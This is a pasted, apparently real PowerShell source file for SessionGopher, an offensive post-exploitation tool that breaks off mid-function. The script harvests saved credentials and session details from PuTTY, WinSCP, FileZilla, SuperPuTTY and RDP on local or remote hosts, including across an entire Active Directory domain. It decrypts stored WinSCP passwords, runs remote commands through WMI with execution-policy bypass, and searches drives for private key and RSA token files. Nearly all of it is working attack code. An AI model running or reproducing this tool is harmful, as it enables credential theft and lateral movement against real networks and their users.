· 5 years ago · May 02, 2020, 10:16 AM
1function Invoke-SessionGopher {
2 param (
3 [switch]$o, # Generate CSV output
4 [switch]$Thorough, # Searches entire filesystem for certain file extensions
5 [string]$u, # Domain\username (e.g. superduper.com\a-jerry)
6 [string]$p, # Password of domain account
7 [string]$iL, # A file of hosts to run SessionGopher against remotely, each host separated by a newline in the file
8 [string]$Target, # If you want to run SessionGopher against one specific host
9 [switch]$AllDomain # Run across all active directory
10 )
11
12 Write-Output '
13 o_
14 / ". SessionGopher
15 ," _-"
16 ," m m
17 ..+ ) Brandon Arvanaghi
18 `m..m Twitter: @arvanaghi | arvanaghi.com
19 '
20
21 if ($o) {
22 $OutputDirectory = "SessionGopher (" + (Get-Date -Format "HH.mm.ss") + ")"
23 New-Item -ItemType Directory $OutputDirectory | Out-Null
24 New-Item ($OutputDirectory + "\PuTTY.csv") -Type File | Out-Null
25 New-Item ($OutputDirectory + "\SuperPuTTY.csv") -Type File | Out-Null
26 New-Item ($OutputDirectory + "\WinSCP.csv") -Type File | Out-Null
27 New-Item ($OutputDirectory + "\FileZilla.csv") -Type File | Out-Null
28 New-Item ($OutputDirectory + "\RDP.csv") -Type File | Out-Null
29 if ($Thorough) {
30 New-Item ($OutputDirectory + "\PuTTY ppk Files.csv") -Type File | Out-Null
31 New-Item ($OutputDirectory + "\Microsoft rdp Files.csv") -Type File | Out-Null
32 New-Item ($OutputDirectory + "\RSA sdtid Files.csv") -Type File | Out-Null
33 }
34 }
35
36 if ($u -and $p) {
37 $Password = ConvertTo-SecureString $p -AsPlainText -Force
38 $Credentials = New-Object -Typename System.Management.Automation.PSCredential -ArgumentList $u, $Password
39 }
40
41 # Value for HKEY_USERS hive
42 $HKU = 2147483651
43 # Value for HKEY_LOCAL_MACHINE hive
44 $HKLM = 2147483650
45
46 $PuTTYPathEnding = "\SOFTWARE\SimonTatham\PuTTY\Sessions"
47 $WinSCPPathEnding = "\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions"
48 $RDPPathEnding = "\SOFTWARE\Microsoft\Terminal Server Client\Servers"
49
50 if ($iL -or $AllDomain -or $Target) {
51
52 # Whether we read from an input file or query active directory
53 $Reader = ""
54
55 if ($AllDomain) {
56 $Reader = GetComputersFromActiveDirectory
57 } elseif ($iL) {
58 $Reader = Get-Content ((Resolve-Path $iL).Path)
59 } elseif ($Target) {
60 $Reader = $Target
61 }
62
63 $optionalCreds = @{}
64 if ($Credentials) {
65 $optionalCreds['Credential'] = $Credentials
66 }
67
68 foreach ($RemoteComputer in $Reader) {
69
70 if ($AllDomain) {
71 # Extract just the name from the System.DirectoryServices.SearchResult object
72 $RemoteComputer = $RemoteComputer.Properties.name
73 if (!$RemoteComputer) { Continue }
74 }
75
76 Write-Host -NoNewLine -ForegroundColor "DarkGreen" "[+] "
77 Write-Host "Digging on" $RemoteComputer"..."
78
79 $SIDS = Invoke-WmiMethod -Class 'StdRegProv' -Name 'EnumKey' -ArgumentList $HKU,'' -ComputerName $RemoteComputer @optionalCreds | Select-Object -ExpandProperty sNames | Where-Object {$_ -match 'S-1-5-21-[\d\-]+$'}
80
81 foreach ($SID in $SIDs) {
82
83 # Get the username for SID we discovered has saved sessions
84 $MappedUserName = try { (Split-Path -Leaf (Split-Path -Leaf (GetMappedSID))) } catch {}
85 $Source = (($RemoteComputer + "\" + $MappedUserName) -Join "")
86
87 # Created for each user found. Contains all sessions information for that user.
88 $UserObject = New-Object PSObject
89
90 <#
91 PuTTY: contains hostname and usernames
92 SuperPuTTY: contains username, hostname, relevant protocol information, decrypted passwords if stored
93 RDP: contains hostname and username of sessions
94 FileZilla: hostname, username, relevant protocol information, decoded passwords if stored
95 WinSCP: contains hostname, username, protocol, deobfuscated password if stored and no master password used
96 #>
97 $ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList
98 $ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList
99 $ArrayOfRDPSessions = New-Object System.Collections.ArrayList
100 $ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList
101 $ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList
102
103 # Construct tool registry/filesystem paths from SID or username
104 $RDPPath = $SID + $RDPPathEnding
105 $PuTTYPath = $SID + $PuTTYPathEnding
106 $WinSCPPath = $SID + $WinSCPPathEnding
107 $SuperPuTTYFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\Documents\\SuperPuTTY\\' AND FileName='Sessions' AND Extension='XML'"
108 $FileZillaFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\AppData\\Roaming\\FileZilla\\' AND FileName='sitemanager' AND Extension='XML'"
109
110 $RDPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$RDPPath @optionalCreds
111 $PuTTYSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$PuTTYPath @optionalCreds
112 $WinSCPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$WinSCPPath @optionalCreds
113 $SuperPuTTYPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $SuperPuTTYFilter -ComputerName $RemoteComputer @optionalCreds | Select Name)
114 $FileZillaPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $FileZillaFilter -ComputerName $RemoteComputer @optionalCreds | Select Name)
115
116 # If any WinSCP saved sessions exist on this box...
117 if (($WinSCPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) {
118
119 # Get all sessions
120 $WinSCPSessions = $WinSCPSessions | Select-Object -ExpandProperty sNames
121
122 foreach ($WinSCPSession in $WinSCPSessions) {
123
124 $WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password
125 $WinSCPSessionObject.Source = $Source
126 $WinSCPSessionObject.Session = $WinSCPSession
127
128 $Location = $WinSCPPath + "\" + $WinSCPSession
129
130 $WinSCPSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue
131 $WinSCPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserName" @optionalCreds).sValue
132 $WinSCPSessionObject.Password = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"Password" @optionalCreds).sValue
133
134 if ($WinSCPSessionObject.Password) {
135
136 $MasterPassPath = $SID + "\Software\Martin Prikryl\WinSCP 2\Configuration\Security"
137
138 $MasterPassUsed = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetDWordValue -ArgumentList $HKU,$MasterPassPath,"UseMasterPassword" @optionalCreds).uValue
139
140 if (!$MasterPassUsed) {
141 $WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password)
142 } else {
143 $WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery"
144 }
145
146 }
147
148 [void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject)
149
150 } # For Each WinSCP Session
151
152 if ($ArrayOfWinSCPSessions.count -gt 0) {
153
154 $UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions
155
156 if ($o) {
157 $ArrayOfWinSCPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation
158 } else {
159 Write-Output "WinSCP Sessions"
160 $ArrayOfWinSCPSessions | Select-Object * | Format-List | Out-String
161 }
162
163 }
164
165 } # If path to WinSCP exists
166
167 if (($PuTTYSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) {
168
169 # Get all sessions
170 $PuTTYSessions = $PuTTYSessions | Select-Object -ExpandProperty sNames
171
172 foreach ($PuTTYSession in $PuTTYSessions) {
173
174 $PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname
175
176 $Location = $PuTTYPath + "\" + $PuTTYSession
177
178 $PuTTYSessionObject.Source = $Source
179 $PuTTYSessionObject.Session = $PuTTYSession
180 $PuTTYSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue
181
182 [void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject)
183
184 }
185
186 if ($ArrayOfPuTTYSessions.count -gt 0) {
187
188 $UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions
189
190 if ($o) {
191 $ArrayOfPuTTYSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation
192 } else {
193 Write-Output "PuTTY Sessions"
194 $ArrayOfPuTTYSessions | Select-Object * | Format-List | Out-String
195 }
196
197 }
198
199 } # If PuTTY session exists
200
201 if (($RDPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) {
202
203 # Get all sessions
204 $RDPSessions = $RDPSessions | Select-Object -ExpandProperty sNames
205
206 foreach ($RDPSession in $RDPSessions) {
207
208 $RDPSessionObject = "" | Select-Object -Property Source,Hostname,Username
209
210 $Location = $RDPPath + "\" + $RDPSession
211
212 $RDPSessionObject.Source = $Source
213 $RDPSessionObject.Hostname = $RDPSession
214 $RDPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserNameHint" @optionalCreds).sValue
215
216 [void]$ArrayOfRDPSessions.Add($RDPSessionObject)
217
218 }
219
220 if ($ArrayOfRDPSessions.count -gt 0) {
221
222 $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions
223
224 if ($o) {
225 $ArrayOfRDPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation
226 } else {
227 Write-Output "Microsoft RDP Sessions"
228 $ArrayOfRDPSessions | Select-Object * | Format-List | Out-String
229 }
230
231 }
232
233 } # If RDP sessions exist
234
235 # If we find the SuperPuTTY Sessions.xml file where we would expect it
236 if ($SuperPuTTYPath.Name) {
237
238 $File = "C:\Users\$MappedUserName\Documents\SuperPuTTY\Sessions.xml"
239 $FileContents = DownloadAndExtractFromRemoteRegistry $File
240
241 [xml]$SuperPuTTYXML = $FileContents
242 (ProcessSuperPuTTYFile $SuperPuTTYXML)
243
244 }
245
246 # If we find the FileZilla sitemanager.xml file where we would expect it
247 if ($FileZillaPath.Name) {
248
249 $File = "C:\Users\$MappedUserName\AppData\Roaming\FileZilla\sitemanager.xml"
250 $FileContents = DownloadAndExtractFromRemoteRegistry $File
251
252 [xml]$FileZillaXML = $FileContents
253 (ProcessFileZillaFile $FileZillaXML)
254
255 } # FileZilla
256
257 } # for each SID
258
259 if ($Thorough) {
260
261 $ArrayofPPKFiles = New-Object System.Collections.ArrayList
262 $ArrayofRDPFiles = New-Object System.Collections.ArrayList
263 $ArrayofsdtidFiles = New-Object System.Collections.ArrayList
264
265 $FilePathsFound = (Get-WmiObject -Class 'CIM_DataFile' -Filter "Drive='C:' AND extension='ppk' OR extension='rdp' OR extension='.sdtid'" -ComputerName $RemoteComputer @optionalCreds | Select Name)
266
267 (ProcessThoroughRemote $FilePathsFound)
268
269 }
270
271 } # for each remote computer
272
273 # Else, we run SessionGopher locally
274 } else {
275
276 Write-Host -NoNewLine -ForegroundColor "DarkGreen" "[+] "
277 Write-Host "Digging on"(Hostname)"..."
278
279 # Aggregate all user hives in HKEY_USERS into a variable
280 $UserHives = Get-ChildItem Registry::HKEY_USERS\ -ErrorAction SilentlyContinue | Where-Object {$_.Name -match '^HKEY_USERS\\S-1-5-21-[\d\-]+$'}
281
282 # For each SID beginning in S-15-21-. Loops through each user hive in HKEY_USERS.
283 foreach($Hive in $UserHives) {
284
285 # Created for each user found. Contains all PuTTY, WinSCP, FileZilla, RDP information.
286 $UserObject = New-Object PSObject
287
288 $ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList
289 $ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList
290 $ArrayOfPPKFiles = New-Object System.Collections.ArrayList
291 $ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList
292 $ArrayOfRDPSessions = New-Object System.Collections.ArrayList
293 $ArrayOfRDPFiles = New-Object System.Collections.ArrayList
294 $ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList
295
296 $objUser = (GetMappedSID)
297 $Source = (Hostname) + "\" + (Split-Path $objUser.Value -Leaf)
298
299 $UserObject | Add-Member -MemberType NoteProperty -Name "Source" -Value $objUser.Value
300
301 # Construct PuTTY, WinSCP, RDP, FileZilla session paths from base key
302 $PuTTYPath = Join-Path $Hive.PSPath "\$PuTTYPathEnding"
303 $WinSCPPath = Join-Path $Hive.PSPath "\$WinSCPPathEnding"
304 $MicrosoftRDPPath = Join-Path $Hive.PSPath "\$RDPPathEnding"
305 $FileZillaPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\AppData\Roaming\FileZilla\sitemanager.xml"
306 $SuperPuTTYPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\Documents\SuperPuTTY\Sessions.xml"
307
308 if (Test-Path $FileZillaPath) {
309
310 [xml]$FileZillaXML = Get-Content $FileZillaPath
311 (ProcessFileZillaFile $FileZillaXML)
312
313 }
314
315 if (Test-Path $SuperPuTTYPath) {
316
317 [xml]$SuperPuTTYXML = Get-Content $SuperPuTTYPath
318 (ProcessSuperPuTTYFile $SuperPuTTYXML)
319
320 }
321
322 if (Test-Path $MicrosoftRDPPath) {
323
324 # Aggregates all saved sessions from that user's RDP client
325 $AllRDPSessions = Get-ChildItem $MicrosoftRDPPath
326
327 (ProcessRDPLocal $AllRDPSessions)
328
329 } # If (Test-Path MicrosoftRDPPath)
330
331 if (Test-Path $WinSCPPath) {
332
333 # Aggregates all saved sessions from that user's WinSCP client
334 $AllWinSCPSessions = Get-ChildItem $WinSCPPath
335
336 (ProcessWinSCPLocal $AllWinSCPSessions)
337
338 } # If (Test-Path WinSCPPath)
339
340 if (Test-Path $PuTTYPath) {
341
342 # Aggregates all saved sessions from that user's PuTTY client
343 $AllPuTTYSessions = Get-ChildItem $PuTTYPath
344
345 (ProcessPuTTYLocal $AllPuTTYSessions)
346
347 } # If (Test-Path PuTTYPath)
348
349 } # For each Hive in UserHives
350
351 # If run in Thorough Mode
352 if ($Thorough) {
353
354 # Contains raw i-node data for files with extension .ppk, .rdp, and sdtid respectively, found by Get-ChildItem
355 $PPKExtensionFilesINodes = New-Object System.Collections.ArrayList
356 $RDPExtensionFilesINodes = New-Object System.Collections.ArrayList
357 $sdtidExtensionFilesINodes = New-Object System.Collections.ArrayList
358
359 # All drives found on system in one variable
360 $AllDrives = Get-PSDrive
361
362 (ProcessThoroughLocal $AllDrives)
363
364 (ProcessPPKFile $PPKExtensionFilesINodes)
365 (ProcessRDPFile $RDPExtensionFilesINodes)
366 (ProcesssdtidFile $sdtidExtensionFilesINodes)
367
368 } # If Thorough
369
370 } # Else -- run SessionGopher locally
371
372} # Invoke-SessionGopher
373
374####################################################################################
375####################################################################################
376## Registry Querying Helper Functions
377####################################################################################
378####################################################################################
379
380# Maps the SID from HKEY_USERS to a username through the HKEY_LOCAL_MACHINE hive
381function GetMappedSID {
382
383 # If getting SID from remote computer
384 if ($iL -or $Target -or $AllDomain) {
385 # Get the username for SID we discovered has saved sessions
386 $SIDPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\$SID"
387 $Value = "ProfileImagePath"
388
389 return (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM,$SIDPath,$Value @optionalCreds).sValue
390 # Else, get local SIDs
391 } else {
392 # Converts user SID in HKEY_USERS to username
393 $SID = (Split-Path $Hive.Name -Leaf)
394 $objSID = New-Object System.Security.Principal.SecurityIdentifier("$SID")
395 return $objSID.Translate( [System.Security.Principal.NTAccount])
396 }
397
398}
399
400function DownloadAndExtractFromRemoteRegistry($File) {
401 # The following code is taken from Christopher Truncer's WMIOps script on GitHub. It gets file contents through WMI by
402 # downloading the file's contents to the remote computer's registry, and then extracting the value from that registry location
403 $fullregistrypath = "HKLM:\Software\Microsoft\DRM"
404 $registrydownname = "ReadMe"
405 $regpath = "SOFTWARE\Microsoft\DRM"
406
407 # On remote system, save file to registry
408 Write-Verbose "Reading remote file and writing on remote registry"
409 $remote_command = '$fct = Get-Content -Encoding byte -Path ''' + "$File" + '''; $fctenc = [System.Convert]::ToBase64String($fct); New-ItemProperty -Path ' + "'$fullregistrypath'" + ' -Name ' + "'$registrydownname'" + ' -Value $fctenc -PropertyType String -Force'
410 $remote_command = 'powershell -nop -exec bypass -c "' + $remote_command + '"'
411
412 $null = Invoke-WmiMethod -class win32_process -Name Create -Argumentlist $remote_command -ComputerName $RemoteComputer @optionalCreds
413
414 # Sleeping to let remote system read and store file
415 Start-Sleep -s 15
416
417 $remote_reg = ""
418
419 # Grab file from remote system's registry
420 $remote_reg = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM, $regpath, $registrydownname -Computer $RemoteComputer @optionalCreds
421
422 $decoded = [System.Convert]::FromBase64String($remote_reg.sValue)
423 $UTF8decoded = [System.Text.Encoding]::UTF8.GetString($decoded)
424
425 # Removing Registry value from remote system
426 $null = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'DeleteValue' -Argumentlist $reghive, $regpath, $registrydownname -ComputerName $RemoteComputer @optionalCreds
427
428 return $UTF8decoded
429
430}
431
432####################################################################################
433####################################################################################
434## File Processing Helper Functions
435####################################################################################
436####################################################################################
437
438function ProcessThoroughLocal($AllDrives) {
439
440 foreach ($Drive in $AllDrives) {
441 # If the drive holds a filesystem
442 if ($Drive.Provider.Name -eq "FileSystem") {
443 $Dirs = Get-ChildItem $Drive.Root -Recurse -ErrorAction SilentlyContinue
444 foreach ($Dir in $Dirs) {
445 Switch ($Dir.Extension) {
446 ".ppk" {[void]$PPKExtensionFilesINodes.Add($Dir)}
447 ".rdp" {[void]$RDPExtensionFilesINodes.Add($Dir)}
448 ".sdtid" {[void]$sdtidExtensionFilesINodes.Add($Dir)}
449 }
450 }
451 }
452 }
453
454}
455
456function ProcessThoroughRemote($FilePathsFound) {
457
458 foreach ($FilePath in $FilePathsFound) {
459 # Each object we create for the file extension found from a -Thorough search will have the same properties (Source, Path to File)
460 $ThoroughObject = "" | Select-Object -Property Source,Path
461 $ThoroughObject.Source = $RemoteComputer
462
463 $Extension = [IO.Path]::GetExtension($FilePath.Name)
464
465 if ($Extension -eq ".ppk") {
466 $ThoroughObject.Path = $FilePath.Name
467 [void]$ArrayofPPKFiles.Add($ThoroughObject)
468 } elseif ($Extension -eq ".rdp") {
469 $ThoroughObject.Path = $FilePath.Name
470 [void]$ArrayofRDPFiles.Add($ThoroughObject)
471 } elseif ($Extension -eq ".sdtid") {
472 $ThoroughObject.Path = $FilePath.Name
473 [void]$ArrayofsdtidFiles.Add($ThoroughObject)
474 }
475
476 }
477
478 if ($ArrayOfPPKFiles.count -gt 0) {
479
480 $UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfRDPFiles
481
482 if ($o) {
483 $ArrayOfPPKFiles | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation
484 } else {
485 Write-Output "PuTTY Private Key Files (.ppk)"
486 $ArrayOfPPKFiles | Format-List | Out-String
487 }
488 }
489
490 if ($ArrayOfRDPFiles.count -gt 0) {
491
492 $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles
493
494 if ($o) {
495 $ArrayOfRDPFiles | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation
496 } else {
497 Write-Output "Microsoft RDP Connection Files (.rdp)"
498 $ArrayOfRDPFiles | Format-List | Out-String
499 }
500 }
501 if ($ArrayOfsdtidFiles.count -gt 0) {
502
503 $UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles
504
505 if ($o) {
506 $ArrayOfsdtidFiles | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation
507 } else {
508 Write-Output "RSA Tokens (sdtid)"
509 $ArrayOfsdtidFiles | Format-List | Out-String
510 }
511
512 }
513
514} # ProcessThoroughRemote
515
516function ProcessPuTTYLocal($AllPuTTYSessions) {
517
518 # For each PuTTY saved session, extract the information we want
519 foreach($Session in $AllPuTTYSessions) {
520
521 $PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname
522
523 $PuTTYSessionObject.Source = $Source
524 $PuTTYSessionObject.Session = (Split-Path $Session -Leaf)
525 $PuTTYSessionObject.Hostname = ((Get-ItemProperty -Path ("Microsoft.PowerShell.Core\Registry::" + $Session) -Name "Hostname" -ErrorAction SilentlyContinue).Hostname)
526
527 # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this.
528 [void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject)
529
530 }
531
532 if ($o) {
533 $ArrayOfPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation
534 } else {
535 Write-Output "PuTTY Sessions"
536 $ArrayOfPuTTYSessions | Format-List | Out-String
537 }
538
539 # Add the array of PuTTY session objects to UserObject
540 $UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions
541
542} # ProcessPuTTYLocal
543
544function ProcessRDPLocal($AllRDPSessions) {
545
546 # For each RDP saved session, extract the information we want
547 foreach($Session in $AllRDPSessions) {
548
549 $PathToRDPSession = "Microsoft.PowerShell.Core\Registry::" + $Session
550
551 $MicrosoftRDPSessionObject = "" | Select-Object -Property Source,Hostname,Username
552
553 $MicrosoftRDPSessionObject.Source = $Source
554 $MicrosoftRDPSessionObject.Hostname = (Split-Path $Session -Leaf)
555 $MicrosoftRDPSessionObject.Username = ((Get-ItemProperty -Path $PathToRDPSession -Name "UsernameHint" -ErrorAction SilentlyContinue).UsernameHint)
556
557 # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this.
558 [void]$ArrayOfRDPSessions.Add($MicrosoftRDPSessionObject)
559
560 } # For each Session in AllRDPSessions
561
562 if ($o) {
563 $ArrayOfRDPSessions | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation
564 } else {
565 Write-Output "Microsoft Remote Desktop (RDP) Sessions"
566 $ArrayOfRDPSessions | Format-List | Out-String
567 }
568
569 # Add the array of RDP session objects to UserObject
570 $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions
571
572} #ProcessRDPLocal
573
574function ProcessWinSCPLocal($AllWinSCPSessions) {
575
576 # For each WinSCP saved session, extract the information we want
577 foreach($Session in $AllWinSCPSessions) {
578
579 $PathToWinSCPSession = "Microsoft.PowerShell.Core\Registry::" + $Session
580
581 $WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password
582
583 $WinSCPSessionObject.Source = $Source
584 $WinSCPSessionObject.Session = (Split-Path $Session -Leaf)
585 $WinSCPSessionObject.Hostname = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Hostname" -ErrorAction SilentlyContinue).Hostname)
586 $WinSCPSessionObject.Username = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Username" -ErrorAction SilentlyContinue).Username)
587 $WinSCPSessionObject.Password = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Password" -ErrorAction SilentlyContinue).Password)
588
589 if ($WinSCPSessionObject.Password) {
590 $MasterPassUsed = ((Get-ItemProperty -Path (Join-Path $Hive.PSPath "SOFTWARE\Martin Prikryl\WinSCP 2\Configuration\Security") -Name "UseMasterPassword" -ErrorAction SilentlyContinue).UseMasterPassword)
591
592 # If the user is not using a master password, we can crack it:
593 if (!$MasterPassUsed) {
594 $WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password)
595 # Else, the user is using a master password. We can't retrieve plaintext credentials for it.
596 } else {
597 $WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery"
598 }
599 }
600
601 # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this.
602 [void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject)
603
604 } # For each Session in AllWinSCPSessions
605
606 if ($o) {
607 $ArrayOfWinSCPSessions | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation
608 } else {
609 Write-Output "WinSCP Sessions"
610 $ArrayOfWinSCPSessions | Format-List | Out-String
611 }
612
613 # Add the array of WinSCP session objects to the target user object
614 $UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions
615
616} # ProcessWinSCPLocal
617
618function ProcesssdtidFile($sdtidExtensionFilesINodes) {
619
620 foreach ($Path in $sdtidExtensionFilesINodes.VersionInfo.FileName) {
621
622 $sdtidFileObject = "" | Select-Object -Property "Source","Path"
623
624 $sdtidFileObject."Source" = $Source
625 $sdtidFileObject."Path" = $Path
626
627 [void]$ArrayOfsdtidFiles.Add($sdtidFileObject)
628
629 }
630
631 if ($ArrayOfsdtidFiles.count -gt 0) {
632
633 $UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles
634
635 if ($o) {
636 $ArrayOfsdtidFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation
637 } else {
638 Write-Output "RSA Tokens (sdtid)"
639 $ArrayOfsdtidFiles | Select-Object * | Format-List | Out-String
640 }
641
642 }
643
644} # Process sdtid File
645
646function ProcessRDPFile($RDPExtensionFilesINodes) {
647
648 # Extracting the filepath from the i-node information stored in RDPExtensionFilesINodes
649 foreach ($Path in $RDPExtensionFilesINodes.VersionInfo.FileName) {
650
651 $RDPFileObject = "" | Select-Object -Property "Source","Path","Hostname","Gateway","Prompts for Credentials","Administrative Session"
652
653 $RDPFileObject."Source" = (Hostname)
654
655 # The next several lines use regex pattern matching to store relevant info from the .rdp file into our object
656 $RDPFileObject."Path" = $Path
657 $RDPFileObject."Hostname" = try { (Select-String -Path $Path -Pattern "full address:[a-z]:(.*)").Matches.Groups[1].Value } catch {}
658 $RDPFileObject."Gateway" = try { (Select-String -Path $Path -Pattern "gatewayhostname:[a-z]:(.*)").Matches.Groups[1].Value } catch {}
659 $RDPFileObject."Administrative Session" = try { (Select-String -Path $Path -Pattern "administrative session:[a-z]:(.*)").Matches.Groups[1].Value } catch {}
660 $RDPFileObject."Prompts for Credentials" = try { (Select-String -Path $Path -Pattern "prompt for credentials:[a-z]:(.*)").Matches.Groups[1].Value } catch {}
661
662 if (!$RDPFileObject."Administrative Session" -or !$RDPFileObject."Administrative Session" -eq 0) {
663 $RDPFileObject."Administrative Session" = "Does not connect to admin session on remote host"
664 } else {
665 $RDPFileObject."Administrative Session" = "Connects to admin session on remote host"
666 }
667 if (!$RDPFileObject."Prompts for Credentials" -or $RDPFileObject."Prompts for Credentials" -eq 0) {
668 $RDPFileObject."Prompts for Credentials" = "No"
669 } else {
670 $RDPFileObject."Prompts for Credentials" = "Yes"
671 }
672
673 [void]$ArrayOfRDPFiles.Add($RDPFileObject)
674
675 }
676
677 if ($ArrayOfRDPFiles.count -gt 0) {
678
679 $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles
680
681 if ($o) {
682 $ArrayOfRDPFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation
683 } else {
684 Write-Output "Microsoft RDP Connection Files (.rdp)"
685 $ArrayOfRDPFiles | Select-Object * | Format-List | Out-String
686 }
687
688 }
689
690} # Process RDP File
691
692function ProcessPPKFile($PPKExtensionFilesINodes) {
693
694 # Extracting the filepath from the i-node information stored in PPKExtensionFilesINodes
695 foreach ($Path in $PPKExtensionFilesINodes.VersionInfo.FileName) {
696
697 # Private Key Encryption property identifies whether the private key in this file is encrypted or if it can be used as is
698 $PPKFileObject = "" | Select-Object -Property "Source","Path","Protocol","Comment","Private Key Encryption","Private Key","Private MAC"
699
700 $PPKFileObject."Source" = (Hostname)
701
702 # The next several lines use regex pattern matching to store relevant info from the .ppk file into our object
703 $PPKFileObject."Path" = $Path
704
705 $PPKFileObject."Protocol" = try { (Select-String -Path $Path -Pattern ": (.*)" -Context 0,0).Matches.Groups[1].Value } catch {}
706 $PPKFileObject."Private Key Encryption" = try { (Select-String -Path $Path -Pattern "Encryption: (.*)").Matches.Groups[1].Value } catch {}
707 $PPKFileObject."Comment" = try { (Select-String -Path $Path -Pattern "Comment: (.*)").Matches.Groups[1].Value } catch {}
708 $NumberOfPrivateKeyLines = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)").Matches.Groups[1].Value } catch {}
709 $PPKFileObject."Private Key" = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)" -Context 0,$NumberOfPrivateKeyLines).Context.PostContext -Join "" } catch {}
710 $PPKFileObject."Private MAC" = try { (Select-String -Path $Path -Pattern "Private-MAC: (.*)").Matches.Groups[1].Value } catch {}
711
712 # Add the object we just created to the array of .ppk file objects
